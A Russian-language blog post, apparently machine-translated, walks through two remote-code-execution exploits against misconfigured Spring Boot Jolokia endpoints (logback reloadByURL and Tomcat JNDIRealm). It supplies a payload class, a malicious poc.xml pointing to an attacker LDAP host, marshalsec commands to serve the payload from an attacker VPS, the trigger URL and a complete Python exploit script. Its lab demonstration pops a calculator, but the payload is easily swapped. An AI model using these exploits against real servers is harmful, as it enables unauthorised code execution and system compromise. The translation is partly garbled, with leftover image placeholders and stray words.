Неправильная настройка jolokia Spring Boot приводит к уязвимости RCE

Отказ от ответственности: Данная статья предназначена только для ознакомления и ознакомления.Все задействованные в ней ресурсы взяты из сети Интернет.Просьба не использовать их для каких-либо противоправных действий,иначе вы сами будете нести соответствующие последствия,а я не беру на себя никаких юридических и совместных и несколько обязательств.

Уязвимость 1: jolokia logback JNDI RCE

среда сборки

Среда уязвимости:
https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-jolokia-logback-rce

IDEA загружает исходный код и настраивает загрузку Spring для запуска среды.После
вставьте сюда описание изображения
запуска среды посетите интерфейс /jolokia.

вставьте сюда описание изображения

Условия использования

Целевой веб-сайт имеет интерфейс /jolokia или /actuator/jolokia.
Цель использует зависимость jolokia-core (требования к версии еще не известны) и в среде есть соответствующие компоненты MBean. Цель
может запросить HTTP-сервер злоумышленника (запрос может быть в Интернет)
Обычная инъекция JNDI контролируется воздействием целевой версии JDK, jdk < 6u201/7u191/8u182/11.0.1(LDAP), но связанную среду можно обойти

Как использовать

1. Просмотр существующих компонентов MBean

Посетите интерфейс /jolokia/list, чтобы узнать, есть ли ключевые слова ch.qos.logback.classic.jmx.JMXConfigurator и reloadByURL.

вставьте сюда описание изображения
2. Подготовьте код Java для выполнения

Напишите код Java (Evil.java), используемый для проверки наличия уязвимости.

public class Evil{
    
    
    public Evil() throws Exception{
    
    
        Runtime.getRuntime().exec("calc.exe");
    }
}

Скомпилируйте с помощью метода, совместимого с более ранними версиями jdk:

javac -source 1.5 -target 1.5 Evil.java

Затем скопируйте сгенерированный файл Evil.class на атакующий VPS.

3. Управляемые xml-файлы

Напишите файл poc.xml и поместите его в тот же каталог, что и файл Evil.class на VPS.

<configuration>
  <insertFromJNDI env-entry-name="ldap://your-vps-ip:1389/aaabbb" as="appName" />
</configuration>

В каталоге poc.xml используйте python для запуска простой службы http.

python3 -m http.сервер 8080

4. Настройте вредоносную службу ldap

Загрузите marshalsec ( https://github.com/mbechler/marshalsec) и используйте следующую команду для настройки соответствующей службы ldap:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:8080/#Evil 1389

5. Замените фактический адрес your-vps-ip, чтобы получить доступ к URL-адресу, чтобы активировать уязвимость.

/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/your-vps-ip!/poc.xml

Результат следующий, выскакивает калькулятор, говорящий о том, что эксплойт выполнен успешно

вставьте сюда описание изображения

вставьте сюда описание изображения

Уязвимость 2: Jolokia Realm JNDI RCE

Среда уязвимости по-прежнему использует ту же среду, что и уязвимость.

Условия использования

На целевом веб-сайте есть интерфейс /jolokia или /actuator/jolokia.Цель
использует зависимость jolokia-core (требования к версии еще не известны) и в среде есть связанные MBean.Цель
может запросить сервер злоумышленника ( запрос может быть отправлен из Интернета).Обычная
инъекция JNDI зависит от целевой версии JDK Impact, jdk < 6u141/7u131/8u121(RMI), но связанную среду можно обойти

Как использовать

1. Просмотр существующих компонентов MBean

Получите доступ к интерфейсу /jolokia/list, чтобы увидеть, есть ли ключевые слова type=MBeanFactory и createJNDIRealm.

2. Подготовьте код Java для выполнения

Этот шаг аналогичен методу лазейки 1 и здесь повторяться не будет.

3. Управляемые файлы классов

В каталоге файлов Evil.class на VPS запустите простой http-сервис

python3 -m http.сервер 8080

4. Настройте вредоносный сервис rmi

Загрузите marshalsec ( https://github.com/mbechler/marshalsec) и используйте следующую команду для настройки соответствующей службы rmi:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://your-vps-ip:8080/#Evil 1389

5. Отправьте вредоносную полезную нагрузку

Измените целевой адрес, адрес RMI, порт и другую информацию в скрипте springboot-realm-jndi-rce.py в соответствии с реальной ситуацией, а затем запустите его на сервере, который вы контролируете.

#!/usr/bin/env python3
# coding: utf-8
# Referer: https://ricterz.me/posts/2019-03-06-yet-another-way-to-exploit-spring-boot-actuators-via-jolokia.txt


import requests



url = 'http://192.168.8.14:9094/jolokia'


create_realm = {
    
    
    "mbean": "Tomcat:type=MBeanFactory",
    "type": "EXEC",
    "operation": "createJNDIRealm",
    "arguments": ["Tomcat:type=Engine"]
}

wirte_factory = {
    
    
    "mbean": "Tomcat:realmPath=/realm0,type=Realm",
    "type": "WRITE",
    "attribute": "contextFactory",
    "value": "com.sun.jndi.rmi.registry.RegistryContextFactory"
}

write_url = {
    
    
    "mbean": "Tomcat:realmPath=/realm0,type=Realm",
    "type": "WRITE",
    "attribute": "connectionURL",
    "value": "rmi://192.168.10.171:1389/Evil"
}

stop = {
    
    
    "mbean": "Tomcat:realmPath=/realm0,type=Realm",
    "type": "EXEC",
    "operation": "stop",
    "arguments": []
}

start = {
    
    
    "mbean": "Tomcat:realmPath=/realm0,type=Realm",
    "type": "EXEC",
    "operation": "start",
    "arguments": []
}

flow = [create_realm, wirte_factory, write_url, stop, start]

for i in flow:
    print('%s MBean %s: %s ...' % (i['type'].title(), i['mbean'], i.get('operation', i.get('attribute'))))
    r = requests.post(url, json=i)
    r.json()
    print(r.status_code)

Выполнить python3 springboot-realm-jndi-rce.py на VPS

вставьте сюда описание изображения

На целевой машине появляется калькулятор, и эксплойт выполнен успешно.

вставьте сюда описание изображения

Supongo que te gusta

Origin blog.csdn.net/guo15890025019/article/details/129594714
Recomendado
Clasificación